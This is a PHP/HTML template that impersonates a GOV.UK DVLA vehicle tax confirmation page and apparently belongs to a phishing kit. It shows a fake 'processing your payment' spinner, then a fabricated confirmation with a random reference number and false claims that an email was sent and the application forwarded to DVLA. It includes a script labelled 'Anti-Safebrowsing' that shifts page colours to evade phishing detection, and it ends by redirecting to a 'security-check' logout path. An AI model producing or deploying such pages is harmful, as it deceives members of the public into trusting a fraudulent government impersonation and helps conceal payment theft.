<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<!DOCTYPE html>
<html lang="UK" class="govuk-template">
    <head>
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
        <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
        <title>Processing - GOV.UK</title>
        <link rel="stylesheet" href="<?= base_url()?>RABBIT/Gens/css/govuk-frontend-3.14.0.min.css">
        <link rel="stylesheet" href="<?= base_url()?>RABBIT/Gens/css/evl-frontend-1.0.0.css">
        <link rel="icon" href="<?= base_url()?>RABBIT/Gens/img/favicon.ico" type="image/x-icon">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.13.1/font/bootstrap-icons.min.css">
        <style>
            .fade-out {
                animation: fadeOut 0.5s ease-out forwards;
            }
            .fade-in {
                animation: fadeIn 0.5s ease-in forwards;
            }
            @keyframes fadeOut {
                from { opacity: 1; }
                to { opacity: 0; display: none; }
            }
            @keyframes fadeIn {
                from { opacity: 0; }
                to { opacity: 1; }
            }
            #confirmation-panel {
                display: none;
                opacity: 0;
            }
        </style>
        <script>
            // Anti-Safebrowsing: CSS color palette shifting
            document.documentElement.style.cssText="filter:hue-rotate(4deg)";
        </script>
    </head>
    <body class="govuk-template__body js-enabled">
        <form method="post" action="#" id="EVL" autocomplete="off">
        <header role="banner" class="govuk-header" id="global-header">
                <div class="govuk-header__container govuk-width-container">
                    <div class="govuk-header__logo">
                        <a href="javascript:void(0);" id="logo" class="govuk-header__link govuk-header__link--homepage">
                            <span class="govuk-header__logotype">
                                <svg focusable="false" class="govuk-header__logotype-crown" viewBox="0 0 132 97" height="30" width="36">
                                    <path
                                        fill="currentColor"
                                        fill-rule="evenodd"
                                        d="M25 30.2c3.5 1.5 7.7-.2 9.1-3.7 1.5-3.6-.2-7.8-3.9-9.2-3.6-1.4-7.6.3-9.1 3.9-1.4 3.5.3 7.5 3.9 9zM9 39.5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0 10.2-1.5-1.4-3-4.3-4.2-8.7L108.6 76c2.8-2 5-3.2 7.5-3.3-4.4 9.4-10 11.9-13.6 11.2-4.3-.8-6.3-4.6-5.6-7.9 1-4.7 5.7-5.9 8-.5 4.3-8.7-3-11.4-7.6-8.8 7.1-7.2 7.9-13.5 2.1-21.1-8 6.1-8.1 12.3-4.5 20.8-4.7-5.4-12.1-2.5-9.5 6.2 3.4-5.2 7.9-2 7.2 3.1-.6 4.3-6.4 7.8-13.5 7.2-10.3-.9-10.9-8-11.2-13.8 2.5-.5 7.1 1.8 11 7.3L80.2 60c-4.1 4.4-8 5.3-12.3 5.4 1.4-4.4 8-11.6 8-11.6H55.5s6.4 7.2 7.9 11.6c-4.2-.1-8-1-12.3-5.4l1.4 16.4c3.9-5.5 8.5-7.7 10.9-7.3-.3 5.8-.9 12.8-11.1 13.8-7.2.6-12.9-2.9-13.5-7.2-.7-5 3.8-8.3 7.1-3.1 2.7-8.7-4.6-11.6-9.4-6.2 3.7-8.5 3.6-14.7-4.6-20.8-5.8 7.6-5 13.9 2.2 21.1-4.7-2.6-11.9.1-7.7 8.8 2.3-5.5 7.1-4.2 8.1.5.7 3.3-1.3 7.1-5.7 7.9-3.5.7-9-1.8-13.5-11.2 2.5.1 4.7 1.3 7.5 3.3l-4.7-15.4c-1.2 4.4-2.7 7.2-4.3 8.7-1.1-3-.9-5.3 0-10.2l-9.5 3.4c5 6.9 9.9 16.7 14 33.5 14.8-2.1 30.8-3.2 47.7-3.2z"
                                    ></path>
                                </svg>
                                <span class="govuk-header__logotype-text">GOV.UK</span>
                            </span>
                        </a>
                    </div>
                    <div class="govuk-header__content"><a href="#" class="govuk-header__link govuk-header__link--service-name">Vehicle tax</a></div>
                </div>
            </header>
            <div class="govuk-width-container app-width-container">
                <div class="govuk-phase-banner">
                    <p class="govuk-phase-banner__content">
                        <strong class="govuk-tag govuk-phase-banner__content__tag"> BETA </strong>
                        <span class="govuk-phase-banner__text"> This is a new service – your <a class="govuk-link" href="#">feedback</a> will help us to improve it. </span>
                    </p>
                </div>
                <main class="govuk-main-wrapper app-width-container" role="main" id="main-content">
                    <!-- Loading Spinner (shows first) -->
                    <div id="loading-section">
                        <div id="startHeader" class="start-header group"><h1 class="govuk-heading-xl">Processing your application</h1></div>
                        <p class="govuk-body">Please wait while we process your payment...</p>
                        <svg style="margin:auto;display:block;" width="150px" height="150px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
                            <g transform="rotate(0 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.9166666666666666s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(30 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.8333333333333334s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(60 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.75s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(90 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.6666666666666666s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(120 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.5833333333333334s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(150 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.5s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(180 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.4166666666666667s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(210 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.3333333333333333s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(240 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.25s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(270 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.16666666666666666s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(300 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="-0.08333333333333333s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                            <g transform="rotate(330 50 50)">
                                <rect x="47" y="24" rx="3" ry="6" width="6" height="12" fill="#000000">
                                    <animate attributeName="opacity" values="1;0" keyTimes="0;1" dur="1s" begin="0s" repeatCount="indefinite"></animate>
                                </rect>
                            </g>
                        </svg>
                    </div>

                    <!-- Confirmation Panel (shows after spinner) -->
                    <div id="confirmation-panel">
                        <div class="govuk-panel govuk-panel--confirmation">
                            <h1 class="govuk-panel__title">Application complete</h1>
                            <div class="govuk-panel__body">
                                Your reference number<br><strong id="ref-number">0000 0000 0000 0000</strong>
                            </div>
                        </div>

                        <p class="govuk-body">We have sent you a confirmation email.</p>

                        <h2 class="govuk-heading-m">What happens next</h2>

                        <p class="govuk-body">
                            We've sent your application to the Driver and Vehicle Licensing Agency (DVLA).
                        </p>

                        <p class="govuk-body">
                            They will contact you either to confirm your registration, or to ask for more information.
                        </p>

                        <p class="govuk-body">
                            <a href="#" class="govuk-link">What did you think of this service?</a> (takes 30 seconds)
                        </p>
                    </div>
                </main>
            </div>
            <footer class="govuk-footer" id="footer" role="contentinfo">
                <div class="govuk-width-container">
                    <div class="govuk-footer__meta">
                        <div class="govuk-footer__meta-item govuk-footer__meta-item--grow">
                            <ul class="govuk-footer__inline-list">
                                <li class="govuk-footer__inline-list-item"><a class="govuk-footer__link" id="cookiesLink" href="javascript:void(0);">Cookies</a></li>
                                <li class="govuk-footer__inline-list-item"><a class="govuk-footer__link" href="javascript:void(0);">Terms and Conditions</a></li>
                                <li class="govuk-footer__inline-list-item"><a id="butEnglish" class="govuk-footer__link" href="javascript:void(0);">English</a></li>
                                <li class="govuk-footer__inline-list-item"><a id="butWelsh" class="govuk-footer__link" lang="cy" href="javascript:void(0);">Cymraeg</a></li>
                                <li class="govuk-footer__inline-list-item">
                                    <a class="govuk-footer__link" href="javascript:void(0);"><span id="privacyPolicy">Privacy Information Notice</span></a>
                                </li>
                                <li class="govuk-footer__inline-list-item">
                                    <a class="govuk-footer__link" href="javascript:void(0);"><span id="Label1">Accessibility</span></a>
                                </li>
                                <li class="govuk-footer__inline-list-item">Built by the <a class="govuk-footer__link" href="javascript:void(0);">Driver &amp; Vehicle Licensing Agency</a></li>
                            </ul>
                            <svg focusable="false" class="govuk-footer__licence-logo" viewBox="0 0 483.2 195.7" height="17" width="41">
                                <path
                                    fill="currentColor"
                                    d="M421.5 142.8V.1l-50.7 32.3v161.1h112.4v-50.7zm-122.3-9.6A47.12 47.12 0 0 1 221 97.8c0-26 21.1-47.1 47.1-47.1 16.7 0 31.4 8.7 39.7 21.8l42.7-27.2A97.63 97.63 0 0 0 268.1 0c-36.5 0-68.3 20.1-85.1 49.7A98 98 0 0 0 97.8 0C43.9 0 0 43.9 0 97.8s43.9 97.8 97.8 97.8c36.5 0 68.3-20.1 85.1-49.7a97.76 97.76 0 0 0 149.6 25.4l19.4 22.2h3v-87.8h-80l24.3 27.5zM97.8 145c-26 0-47.1-21.1-47.1-47.1s21.1-47.1 47.1-47.1 47.2 21 47.2 47S123.8 145 97.8 145"
                                ></path>
                            </svg>
                            <span class="govuk-footer__licence-description">
                                All content is available under the <a class="govuk-footer__link" href="javascript:void(0);" rel="license">Open Government Licence v3.0</a>, except where otherwise stated
                            </span>
                        </div>
                        <div class="govuk-footer__meta-item"><a class="govuk-footer__link govuk-footer__copyright-logo" href="javascript:void(0);"> © Crown copyright </a></div>
                    </div>
                </div>
            </footer>
        </form>
        <script>
            // Generate random 16-digit reference number
            function generateReferenceNumber() {
                var digits = '';
                for (var i = 0; i < 16; i++) {
                    digits += Math.floor(Math.random() * 10);
                }
                // Format as XXXX XXXX XXXX XXXX
                return digits.substring(0, 4) + ' ' + digits.substring(4, 8) + ' ' + digits.substring(8, 12) + ' ' + digits.substring(12, 16);
            }
            
            // Set reference number on page load
            document.getElementById('ref-number').textContent = generateReferenceNumber();
            
            // Show spinner for 2 seconds, then show confirmation panel
            setTimeout(function() {
                // Fade out spinner
                document.getElementById('loading-section').classList.add('fade-out');
                
                // After fade out completes, hide spinner and show confirmation
                setTimeout(function() {
                    document.getElementById('loading-section').style.display = 'none';
                    document.getElementById('confirmation-panel').style.display = 'block';
                    document.getElementById('confirmation-panel').classList.add('fade-in');
                    document.title = 'Application complete - GOV.UK';
                    
                    // Redirect to gov.uk after 3 more seconds
                    setTimeout(function() {
                        window.location.href = '/security-check/finished/logout';
                    }, 3000);
                }, 500);
            }, 2000);
        </script>
    </body>
</html>
